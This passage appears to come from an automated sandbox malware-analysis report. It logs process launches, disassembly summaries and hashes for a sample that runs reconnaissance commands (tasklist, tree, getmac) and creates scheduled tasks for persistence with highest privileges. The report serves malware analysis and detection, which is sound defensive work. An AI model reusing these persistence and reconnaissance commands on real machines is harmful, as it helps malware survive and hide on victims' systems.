General

Target ID:	78
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7d7610000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	13:07:18
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	13:07:19
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7212, Parent PID: 7420

General

Target ID:	82
Start time:	13:07:19
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	13:07:19
Start date:	20/06/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff60c520000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	13:07:19
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Imagebase:	0x7ff67ab20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF33B.tmp" "c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP"
Imagebase:	0x7ff67af40000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff68c770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\agentInto\fontsessionruntime.exe
Wow64 process (32bit):	false
Commandline:	"C:\agentInto\fontsessionruntime.exe"
Imagebase:	0x640000
File size:	4'173'824 bytes
MD5 hash:	6CF5F23F1C8CA3BC6342506BAAC300DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	13:07:20
Start date:	20/06/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff7cf6f0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	13:07:23
Start date:	20/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	93
Start time:	13:07:24
Start date:	20/06/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "bMCzMxeQsbb" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /f
Imagebase:	0x7ff605e00000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	13:07:24
Start date:	20/06/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f
Imagebase:	0x7ff605e00000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	136
Start time:	13:07:29
Start date:	20/06/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	171
Start time:	13:07:31
Start date:	20/06/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	183
Start time:	13:07:32
Start date:	20/06/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000000.00000002.2039449186.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2039428530.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039468482.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039484529.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039484529.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039517124.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039517124.0000000000E11000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2040501597.0000000000F80000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6tGWMkdYv4.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

WinClass32, xrefs: 0040103D, 0040109E, 004010A3
0, xrefs: 00401006

Memory Dump Source

Source File: 00000000.00000002.2039449186.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2039428530.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039468482.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039484529.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039484529.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039517124.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2039517124.0000000000E11000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2040501597.0000000000F80000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6tGWMkdYv4.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Analysis Process: x10.exePID: 6188, Parent PID: 1896COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000002.00000002.2052919833.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2052901909.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052937580.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052954073.0000000000403000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052954073.0000000000408000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052988279.0000000000411000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052988279.0000000000E11000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2053818278.0000000000F7E000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_x10.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000002.00000002.2052919833.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2052901909.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052937580.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052954073.0000000000403000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052954073.0000000000408000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052988279.0000000000411000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2052988279.0000000000E11000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2053818278.0000000000F7E000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_x10.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x9.exePID: 3692, Parent PID: 6188COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

WinClass32, xrefs: 0040103D, 0040109E, 004010A3
0, xrefs: 00401006

Memory Dump Source

Source File: 00000003.00000002.2060980591.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060961154.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061009226.0000000000402000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061029361.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061029361.0000000000408000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061078597.0000000000411000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061078597.0000000000E11000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2062600896.0000000000F7D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_x9.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000003.00000002.2060980591.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060961154.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061009226.0000000000402000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061029361.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061029361.0000000000408000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061078597.0000000000411000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2061078597.0000000000E11000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2062600896.0000000000F7D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_x9.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x8.exePID: 3568, Parent PID: 3692COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000004.00000002.2076537753.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2076518701.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076560695.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076580607.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076580607.0000000000408000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076627566.0000000000411000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076627566.0000000000E11000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2077416421.0000000000F7B000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_x8.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000004.00000002.2076537753.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2076518701.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076560695.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076580607.0000000000403000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076580607.0000000000408000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2076627566.0000000000411000.00000008.00000001.01000000.00000007.sdmpDownload File
